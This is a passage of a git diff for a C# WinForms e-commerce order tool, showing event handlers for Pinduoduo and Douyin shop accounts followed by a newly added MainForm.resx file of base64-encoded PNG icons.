shopBrower.isPifaLogin = true; + var pddPifaUser = GlobalConfig.LstPddPifaShop.FirstOrDefault(s => s.PddId == cmbPddPifaBuyUser.Text || s.PddShopName == cmbPddPifaBuyUser.Text); + if (pddPifaUser != null) + shopBrower.pddShop = pddPifaUser; + shopBrower.Show(); + } + + private void lbDelPddPifa_Click(object sender, EventArgs e) + { + if (cmbPddPifaBuyUser.Text != "点击下拉切换") + { + DelBuyer(cmbPddPifaBuyUser.Text, (cmbPddPifaBuyUser.SelectedItem as ComboboxItem).Value.ToString(), 7); + } + } + + private void chkUsePddPifa_CheckedChanged(object sender, EventArgs e) + { + GlobalConfig.SystemSettings.IsUsePddPifa = chkUsePddPifa.Checked; + StartUp.SaveSystemSettings(); + + if (chkUsePddPifa.Checked) + chkUseMultiBuyer.Checked = false; + } + + private void chkUseMultiBuyer_CheckedChanged(object sender, EventArgs e) + { + GlobalConfig.SystemSettings.IsUseMultiBuyer = chkUseMultiBuyer.Checked; + StartUp.SaveSystemSettings(); + + if (chkUseMultiBuyer.Checked) + chkUsePddPifa.Checked = false; + } + + private void pnlSetMutliBuyer_Click(object sender, EventArgs e) + { + PddMultiBuyerForm f = new PddMultiBuyerForm(); + f.ShowDialog(); + } + + private void splitMain_Panel2_Paint(object sender, PaintEventArgs e) + { + + } + + private void btn电子面单测试_Click(object sender, EventArgs e) + { + foreach (DouShopLoginInfo shop in Work.CollectionClass.DouShopLoginList) + { + if (shop.ShopName == "开箱小店") + { + DouyinApi api = new DouyinApi(shop); + api.CreateOrder(); + } + } + } + } +} diff --git a/29WxOrder/MainForm.resx b/29WxOrder/MainForm.resx new file mode 100644 index 0000000..89470f8 --- /dev/null +++ b/29WxOrder/MainForm.resx @@ -0,0 +1,1750 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + AABJRU5ErkJggg== + + + + + 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 + 